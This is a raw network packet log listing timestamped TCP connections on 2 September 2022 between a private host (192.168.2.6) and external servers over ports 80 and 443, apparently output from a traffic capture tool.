Sep 2, 2022 14:02:36.764569044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764581919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764602900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.764643908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764678001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.764693022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764705896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764724970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.764894009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764911890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764923096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764944077 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.764956951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.765238047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.765254974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.765264988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.765290976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.765316963 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.783379078 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.783803940 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.787368059 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.787455082 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.903331041 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.903366089 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.903398037 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.903527021 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.903549910 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.903593063 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.903661013 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.904896021 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.904925108 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.904948950 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.904964924 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.905076981 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.905114889 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912067890 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912101030 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912123919 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912137985 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912264109 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912278891 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912358046 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912368059 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912386894 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912409067 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912415981 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912452936 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912460089 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912476063 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912482023 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912537098 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912544012 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912599087 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912605047 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912647963 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912681103 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.912688017 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.912733078 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.915867090 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.915885925 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.915904999 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.915930033 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.915998936 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.916011095 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.916094065 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.916109085 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.916141987 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.916166067 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.916173935 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.916182041 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.916241884 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.916261911 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.916275024 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.916317940 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.916330099 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.916373968 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.916438103 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.916488886 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.928966999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929007053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929024935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929101944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929128885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929143906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929168940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.929251909 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.929847956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929878950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929898024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.929950953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.929992914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.930018902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.930036068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.930067062 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.930104017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.930154085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.930231094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.930397987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.931318998 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.931364059 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.931816101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.934571981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.094832897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.094866037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.094877958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.094894886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.094909906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.094908953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.094933987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.094955921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.094964981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.094971895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.094976902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095190048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095208883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095221996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095247984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095266104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095303059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095324993 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095344067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095412970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095477104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095510960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095578909 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095602036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095649004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095654964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095663071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095679998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095694065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095696926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095724106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.095724106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.095760107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.096167088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.096204996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.096218109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.096246958 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.096296072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.096321106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.096379995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.096448898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.097232103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097285032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097304106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097316980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097333908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.097352982 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.097383022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097400904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097413063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097440004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.097457886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.097738981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097757101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097769976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097793102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.097810984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.097969055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.097987890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.098001003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.098018885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.098037004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.098328114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.098361015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.098373890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.098390102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.098417997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.098702908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.098730087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.098742962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.098773956 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.098807096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.099004984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099025011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099039078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099090099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.099266052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099282980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099306107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099328041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.099359989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.099636078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099668980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099682093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099688053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.099725962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.099740028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099800110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.099807978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099821091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.099853992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.100163937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100200891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100214958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100231886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.100250006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.100394964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100435019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100447893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100450039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.100475073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.100688934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100707054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100744963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100754976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.100925922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100944042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100955963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.100980043 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.101048946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.101289034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101308107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101319075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101336956 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.101376057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.101552963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101571083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101583004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101634979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.101851940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101871014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101882935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.101924896 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.101939917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.102047920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102087021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102099895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102099895 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.102135897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.102416992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102444887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102458000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102475882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.102493048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.102673054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102690935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102703094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.102745056 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.102776051 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.103013992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103034973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103046894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103071928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.103089094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.103247881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103283882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103297949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103302002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.103321075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.103585958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103606939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103619099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103653908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.103769064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103828907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103842974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.103858948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.103874922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.104232073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.104254961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.104266882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.104295969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.104341030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.104371071 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.104388952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.119401932 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:37.119478941 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:37.123370886 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:37.124377012 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:37.260446072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.260513067 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.260541916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.260581017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.260620117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.260646105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.260937929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.260977983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261015892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.261020899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261040926 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.261046886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261116982 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.261190891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261231899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261249065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.261259079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261460066 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.261869907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261912107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261940002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.261977911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.262020111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.262048006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.262325048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.262830973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.262969971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263010025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263036966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263077021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263114929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263143063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263401985 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.263530970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263571978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263598919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263674974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263716936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263744116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.263760090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.264141083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.264183044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.264209032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.264214039 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.264235973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.264247894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.264364958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.264394045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.264451981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.265083075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265125036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265150070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265151024 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.265167952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.265214920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265269041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.265288115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265315056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265341997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.265770912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265813112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.265820026 CEST	49787	80	192.168.2.6	85.209.157.230
